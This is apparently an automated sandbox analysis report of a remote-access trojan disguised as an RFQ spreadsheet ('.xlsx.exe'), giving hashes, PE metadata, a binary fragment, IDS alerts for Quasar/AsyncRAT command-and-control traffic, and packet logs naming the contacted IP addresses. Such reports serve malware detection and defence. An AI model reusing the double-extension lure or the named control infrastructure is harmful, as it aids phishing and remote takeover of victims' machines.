                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Ng.................2...........O... ...`....@.. ....................................`..................................O..J....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............:..............@..B.................O......H.......t...@M..........................................................Vs....%(M...+.*(6...+.....(....*>+......*s....+...(....*v+.+.r...p+.*.+.o....+.o ...+..."..}%...*...^.....b...b`..b`.`}%...*r. ....n...bj`..bj`.j`m}%...*....+.+.+.+.+.+.+.+"*.+..+.(....+..+.(....+..+.(....+.s....+....+.+.+.+.+.+.+.+"*.+.(....+..+..+.(....+..+.(....+.s....+....+.+.+.+.+.+.+.+"*.+.(....+..+.(....+..+..+.(....+.s....+....+.+.+.+.+.+.+!+"*.+.(....+..+.(....+..+.(....+..+.s....+...V+.{%.....d

                                                                                                    C:\Users\user\AppData\Roaming\RealErrorObject.exe:Zone.Identifier

                                                                                                    Download File
                                                                                                    Process:C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe
                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                    Category:modified
                                                                                                    Size (bytes):26
                                                                                                    Entropy (8bit):3.95006375643621
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:3:ggPYV:rPYV
                                                                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                    Malicious:true
                                                                                                    Preview:[ZoneTransfer]....ZoneId=0

                                                                                                    Static File Info

                                                                                                    General

                                                                                                    File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                    Entropy (8bit):5.668275572148055
                                                                                                    TrID:
                                                                                                    • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                                                    • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                                                    • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                    • Windows Screen Saver (13104/52) 0.07%
                                                                                                    • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                    File name:RFQ 9-XTC-204-60THD.xlsx.exe
                                                                                                    File size:146'432 bytes
                                                                                                    MD5:c9951fb84a416c1f329b39b2da482348
                                                                                                    SHA1:e250949b96260df94f7c4cce9ef009069690ffe6
                                                                                                    SHA256:de6b367a4b3a81fea07cdaa9406b9b70a994581cfae539f5da441268e4be4188
                                                                                                    SHA512:1e450fc3fff15facd76ce9ac643e2e0ef2ffad6e18ba54dd70f93968fc984d14f81f8429409ddf25320a2d80df6e240367b2dd49e4793acad2460c158e62c556
                                                                                                    SSDEEP:3072:IODxM5DNveAHHY+axlCTo0JLsLbJo9LdtxAuAqdES0m5kJ8QvT5+hM94K2icI7y:IO9M5DNveAHHY+clCU0JLsLb+9LdtxAN
                                                                                                    TLSH:2CE3D77E6B850837D896CB37A4B31F625773C298E747D30A12E5A9BC1CA7B911DB0360
                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Ng.................2...........O... ...`....@.. ....................................`................................

                                                                                                    File Icon

                                                                                                    Icon Hash:00928e8e8686b000

                                                                                                    Static PE Info

                                                                                                    General

                                                                                                    Entrypoint:0x424ffe
                                                                                                    Entrypoint Section:.text
                                                                                                    Digitally signed:false
                                                                                                    Imagebase:0x400000
                                                                                                    Subsystem:windows gui
                                                                                                    Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                    DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                    Time Stamp:0x674ED2D5 [Tue Dec 3 09:43:49 2024 UTC]
                                                                                                    TLS Callbacks:
                                                                                                    CLR (.Net) Version:
                                                                                                    OS Version Major:4
                                                                                                    OS Version Minor:0
                                                                                                    File Version Major:4
                                                                                                    File Version Minor:0
                                                                                                    Subsystem Version Major:4
                                                                                                    Subsystem Version Minor:0
                                                                                                    Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                    Entrypoint Preview

                                                                                                    Instruction
                                                                                                    jmp dword ptr [00402000h]
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al

                                                                                                    Data Directories

                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x24fb40x4a.text
                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x260000x59e.rsrc
                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x280000xc.reloc
                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                    Sections

                                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                    .text0x20000x230040x23200207bfec0f71654ff019be9de8bcc1e86False0.3871149354982206data5.695392082709271IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                    .rsrc0x260000x59e0x600432597155ad9b1caf127ef8ea44e4d99False0.423828125data4.084886687373607IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                    .reloc0x280000xc0x2003ed59b17ae6108c97790c6cb5a98d474False0.041015625data0.08153941234324169IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                    Resources

                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                    RT_VERSION0x2605c0x31cdata0.4296482412060301
                                                                                                    RT_MANIFEST0x263b40x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                                                    Imports

                                                                                                    DLLImport
                                                                                                    mscoree.dll_CorExeMain

                                                                                                    Network Behavior

                                                                                                    Suricata IDS Alerts

                                                                                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                    2024-12-03T15:08:50.393195+01002027619ET MALWARE Observed Malicious SSL Cert (Quasar CnC)169.174.99.1316298192.168.2.949759TCP
                                                                                                    2024-12-03T15:08:50.393195+01002035595ET MALWARE Generic AsyncRAT Style SSL Cert169.174.99.1316298192.168.2.949759TCP

                                                                                                    Network Port Distribution

                                                                                                    TCP Packets

                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                    Dec 3, 2024 15:08:29.013680935 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:29.013722897 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:29.013794899 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:29.128918886 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:29.128937960 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:30.767544985 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:30.767618895 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:30.771882057 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:30.771889925 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:30.772144079 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:30.815177917 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:30.824589014 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:30.871344090 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.369781971 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.369812965 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.369821072 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.369921923 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.369940996 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.369951963 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.424567938 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.478967905 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.478987932 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.479012012 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.479039907 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.479211092 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.580277920 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.580293894 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.580387115 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.614559889 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.614576101 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.614660025 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.644736052 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.644753933 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.644845963 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.685842991 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.685882092 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.686014891 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.761512995 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.761526108 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.761610985 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.778990984 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.779191017 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.800525904 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.800641060 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.816445112 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.816572905 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.828514099 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.828639984 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.838591099 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.838696957 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.852119923 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.852214098 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.863385916 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.863503933 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.960470915 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.960576057 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.968333006 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.968409061 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.977335930 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.977407932 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.985753059 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.985862017 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:31.993319988 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:31.993395090 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.004926920 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.005002975 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.014345884 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.014405966 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.021718025 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.021806955 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.029041052 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.029098034 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.036431074 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.036483049 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.043802023 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.044217110 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.056859970 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.056960106 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.086039066 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.086185932 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.163528919 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.163733006 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.171339035 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.171427965 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.180718899 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.180970907 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.185380936 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.185470104 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.192346096 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.192466021 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.198895931 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.198965073 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.205493927 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.205566883 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.212317944 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.212521076 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.221774101 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.221879959 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.229996920 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.230098009 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.237318039 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.237395048 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.241844893 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.241939068 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.248723984 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.248887062 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.255506992 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.255578995 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.283201933 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.283333063 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.359040022 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.359159946 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.365101099 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.365191936 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.371969938 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.372044086 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.380213022 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.380299091 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.384758949 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.384840012 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.391031027 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.391124964 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.396964073 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.397042990 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.402920961 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.403017998 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.408881903 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.408953905 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.414952993 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.415074110 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.420830965 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.420933008 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.426764965 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.426878929 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.432758093 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.432846069 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.438697100 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.438812017 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.444837093 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.444914103 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.450731993 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.450818062 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.487741947 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.487817049 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.563141108 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.563203096 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.571779966 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.571919918 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.576174974 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.576263905 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.582040071 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.582114935 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.586030006 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.586139917 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.594197989 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.594268084 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.599920034 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.600061893 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.605873108 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.605966091 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.611809969 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.611920118 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.619704008 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.619790077 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.625636101 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.625731945 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.629600048 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.629663944 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.637543917 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.637618065 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.641432047 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.641493082 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.647362947 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.647448063 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.687350988 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.687407970 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.762934923 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.763001919 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.768366098 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.768471003 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.775888920 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.775976896 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.779854059 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.779933929 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.789777994 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.789879084 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.795672894 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.795748949 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.801605940 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.801668882 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.807529926 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.807600021 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.813438892 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.813527107 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.819387913 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.819441080 CET49712443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:08:32.825277090 CET44349712185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:08:32.825352907 CET49712443192.168.2.9185.78.221.73
